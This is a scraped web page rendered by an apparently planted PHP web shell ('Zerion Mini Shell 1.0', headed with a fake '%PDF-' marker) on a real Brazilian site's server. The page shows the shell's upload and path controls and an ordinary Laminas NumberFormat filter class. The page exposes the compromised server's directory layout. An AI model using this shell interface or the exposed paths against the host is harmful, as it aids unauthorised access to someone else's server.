%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/suporte.iigd.com.br/vendor/laminas/laminas-i18n/src/Filter/
Upload File :
Create Path :
Current File : //var/www/projetos/suporte.iigd.com.br/vendor/laminas/laminas-i18n/src/Filter/NumberFormat.php

<?php

namespace Laminas\I18n\Filter;

use Laminas\Stdlib\ErrorHandler;

use function is_float;
use function is_int;
use function is_scalar;

class NumberFormat extends NumberParse
{
    /**
     * Defined by Laminas\Filter\FilterInterface
     *
     * @see    \Laminas\Filter\FilterInterface::filter()
     *
     * @param  mixed $value
     * @return mixed
     */
    public function filter($value)
    {
        if (! is_scalar($value)) {
            return $value;
        }

        if (! is_int($value) && ! is_float($value)) {
            $result = parent::filter($value);
        } else {
            ErrorHandler::start();

            $result = $this->getFormatter()->format($value, $this->getType());

            ErrorHandler::stop();
        }

        if (false !== $result) {
            return $result;
        }

        return $value;
    }
}

Zerion Mini Shell 1.0